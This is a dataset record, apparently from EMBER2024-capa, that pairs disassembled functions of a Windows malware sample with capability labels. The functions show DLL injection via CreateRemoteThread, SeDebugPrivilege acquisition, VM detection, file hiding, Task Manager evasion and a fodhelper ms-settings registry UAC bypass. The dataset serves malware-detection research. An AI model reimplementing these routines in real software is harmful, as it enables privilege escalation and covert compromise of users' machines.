joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401619
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp - 8]
mov r8, rax
mov edx, 0x20
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
jne 0x401650
mov eax, 0
jmp 0x401701
lea rax, [rbp - 0x10]
mov r8, rax
lea rdx, str.SeDebugPrivilege
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
call rax
test eax, eax
jne 0x401687
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x401701
mov dword [rbp - 0x20], 1
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], 2
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call rax
test eax, eax
jne 0x4016ec
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x401701
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x401707
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov r8d, dword [rbp + 0x10]
mov edx, 0
mov ecx, 0x43a
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401742
mov eax, 0
jmp 0x40194b
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.wcslen
add rax, 1
add rax, rax
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x4017a8
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x40194b
mov r9, qword [rbp - 0x10]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x40180b
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x40194b
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
lea rdx, str.LoadLibraryW
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x401873
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x40194b
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x4018f1
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x40194b
mov rax, qword [rbp - 0x28]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x401951
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov byte [rbp - 6], 0
mov byte [rbp - 5], 0
mov byte [rbp - 4], 0
mov byte [rbp - 3], 0
mov byte [rbp - 2], 0
mov byte [rbp - 1], 5
mov dword [rbp - 0x14], 0
lea rax, [rbp - 6]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
je 0x401a02
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x14]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 0x14]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x401a0b
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.runas
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
Function at 0x401ae2
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x80]
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x6f737365636f7250
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], 0x72
mov qword [rbp + 0xd8], 0
lea rdx, [rbp + 0xe0]
mov eax, 0
mov ecx, 0x1c
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xbc], 0x100
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x401bd0
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.ProcessorNameString
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x6c65646f4d
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xbc], 0x100
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x401c8b
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.SystemProductName
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0xc0]
lea rdx, str.virt
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401cc3
lea rax, [rbp + 0xc0]
mov rdx, rax
lea rcx, str.Processor_name_contains_virt:__s_n
call sym.printf
mov eax, 1
jmp 0x401d06
lea rax, [rbp - 0x50]
lea rdx, str.Virt
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401cf5
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.System_model_contains_virt:__s_n
call sym.printf
mov eax, 1
jmp 0x401d06
lea rcx, str.No_virt_found_in_processor_name_or_system_model.
call sym.puts
mov eax, 0
add rsp, 0x248
pop rdi
pop rbp
ret
Function at 0x401d62
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xd8], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x401de8
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error_create_process_print._n
call sym.fwrite
mov eax, 0
jmp 0x401e65
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x401e4c
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x401e35
mov eax, dword [rbp - 0x58]
cmp dword [rbp + 0xd8], eax
je 0x401e35
mov dword [rbp + 0xdc], 1
jmp 0x401e4c
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x401dff
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x401e6e
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Set file attributes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xd0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x401ecd
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Error:_cant_get_file._n
call sym.fwrite
jmp 0x4020b8
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x401f13
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Error:_cant_get_file_path._n
call sym.fwrite
jmp 0x4020b8
lea rax, [rbp - 0x40]
lea rdx, [0x0044e1db]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAppendA]
call rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xd0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x401f78
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x17
mov edx, 1
lea rcx, str.Error:_cant_copy_file._n
call sym.fwrite
jmp 0x4020b8
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.File_good_copied_in:__s_n
call sym.printf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0xffffffffffffffff
je 0x40208f
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
je 0x402052
or dword [rbp + 0x1d4], 2
mov edx, dword [rbp + 0x1d4]
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
test eax, eax
je 0x402028
lea rcx, str.File_hidden_successfully.
call sym.puts
jmp 0x40207a
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error:_failed_to_hide_file._n
call sym.fwrite
jmp 0x40207a
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x26
mov edx, 1
lea rcx, str.Error:_failed_to_get_file_attributes._n
call sym.fwrite
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x4020b8
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.Error:_failed_to_open_file_for_setting_attributes._n
call sym.fwrite
nop
add rsp, 0x260
pop rbp
ret
Function at 0x4020c1
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x340], rcx
lea rdx, [rbp + 0x2a0]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x2a0], 0x70
mov dword [rbp + 0x2a4], 0x40
lea rax, str.runas
mov qword [rbp + 0x2b0], rax
lea rax, str.cmd.exe
mov qword [rbp + 0x2b8], rax
lea rax, [rbp - 0x60]
mov r9, qword [rbp + 0x340]
lea r8, str._c__s
mov edx, 0x2f8
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
test eax, eax
jns 0x402158
lea rcx, str.Error:_Cannot_format_command_line.
call sym.puts
jmp 0x4021f7
lea rax, [rbp - 0x60]
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2d0], 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
jne 0x4021cb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x31c], eax
cmp dword [rbp + 0x31c], 0x4c7
jne 0x4021ad
lea rcx, str.Error:_The_user_refused_to_allow_privileges_elevation.
call sym.puts
jmp 0x4021f7
mov eax, dword [rbp + 0x31c]
mov r8d, eax
mov rdx, qword [rbp + 0x340]
lea rcx, str.Error:_Failed_to_execute_command__s_with_elevated_privileges._Error_code:__ld_n
call sym.printf
jmp 0x4021f7
mov rax, qword [rbp + 0x308]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x3a8
pop rdi
pop rbp
ret
Function at 0x402201
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rdx
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x646c697542
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x402417
mov rax, qword [rbp + 0x78]
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, [0x0044e3a5]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
je 0x4022d5
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Unknown_OS
mov rcx, qword [rbp + 0x70]
call sym.strncpy
mov dword [rbp + 0x3c], pe_nt_image_headers64
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.CurrentBuildNumber
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x402328
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.CurrentBuildNumber:__s_n
call sym.printf
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x4c], eax
lea rdx, str.Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x402381
cmp dword [rbp + 0x4c], 0x55ef
jg 0x402381
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x402430
cmp dword [rbp + 0x4c], 0x55ef
jle 0x4023a6
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_11
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x402430
lea rdx, str.Windows_8.1
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
jne 0x4023d0
lea rdx, str.Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x4023e9
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x402430
lea rdx, str.Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x402430
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x402430
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Access_Denied
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x402430
nop
add rsp, 0xd8
pop rdi
pop rbp
ret
Function at 0x40277c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov edx, eax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0x40000001
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x4027bf
mov eax, 0
jmp 0x402824
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4027de
mov eax, 0
jmp 0x402824
mov rax, qword [rbp + 0x18]
mov ecx, eax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x40000001
mov edx, ecx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x402820
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x402824
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret

Function at 0x40282a
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x40284c
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
jne 0x402856
mov eax, 0
jmp 0x40291d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x40289d
mov eax, 0
jmp 0x40291d
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4028bc
mov eax, 0
jmp 0x40291d
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x40290d
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x40291d
mov eax, dword [rbp - 0xc]
mov edx, eax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret
Function at 0x40355c
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x4035a4
mov eax, 0
jmp 0x403616
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x4035fd
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.Taskmgr.exe
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x4035e6
mov dword [rbp + 0xdc], 1
jmp 0x4035fd
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x4035bb
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret

Function at 0x40361f
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
call sym.IsTaskmgrRunning
test eax, eax
je 0x403642
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40362b

Function at 0x403652
Capabilities:
Get common file path
Write file on windows

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x4036a8
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x20
mov edx, 1
lea rcx, str.Error:_Failed_to_get_temp_path._n
call sym.fwrite
jmp 0x403799
lea rax, [rbp - 0x60]
lea rdx, [0x0044ec99]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAppendA]
call rax
lea rax, [rbp - 0x60]
lea rdx, [0x0044eca4]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x403710
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x28
mov edx, 1
lea rcx, str.Error:_Failed_to_open_file_for_writing._n
call sym.fwrite
jmp 0x403799
mov rax, qword [0x0044dd48]
mov rdx, qword [rbp + 0xb8]
mov r9, rdx
mov r8, rax
mov edx, 1
lea rcx, [0x00406020]
call sym.fwrite
mov qword [rbp + 0xb0], rax
mov rax, qword [0x0044dd48]
cmp qword [rbp + 0xb0], rax
je 0x403776
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x2a
mov edx, 1
lea rcx, str.Error:_Failed_to_write_all_bytes_to_file._n
call sym.fwrite
jmp 0x403789
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.DLL_extracted_successfully_to:__s_n
call sym.printf
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x140
pop rbp
ret
Function at 0x403b3b
Capabilities:
Create process on windows
Get common file path
Persist via default file association registry key
Query environment variable
Self delete
Set registry value
Terminate process

Disassembly:
push rbp
sub rsp, 0x2d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x260], rcx
lea rax, [rbp + 0x140]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x140]
mov rdx, qword [rbp + 0x260]
mov rcx, rax
call sym.strcat
lea rcx, str.SYSTEMROOT
call sym.getenv
mov rdx, rax
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str._sSystem32_fodhelper.exe
mov rcx, rax
call sym.sprintf
call sym.RegDelnode
test eax, eax
je 0x403ce0
lea rax, [rbp + 0x28]
mov r8, rax
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
test eax, eax
jne 0x403ce3
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.strlen
mov edx, eax
mov rax, qword [rbp + 0x28]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x140]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, [0x0044eff8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x28]
mov dword [rsp + 0x28], 0
lea rdx, [0x0044eff8]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.DelegateExecute
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
lea rax, [rbp - 0x50]
mov r8d, 0x70
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x50], 0x70
mov dword [rbp - 0x4c], 0x40
lea rax, str.open
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x30]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x20], 0
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
je 0x403cc9
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
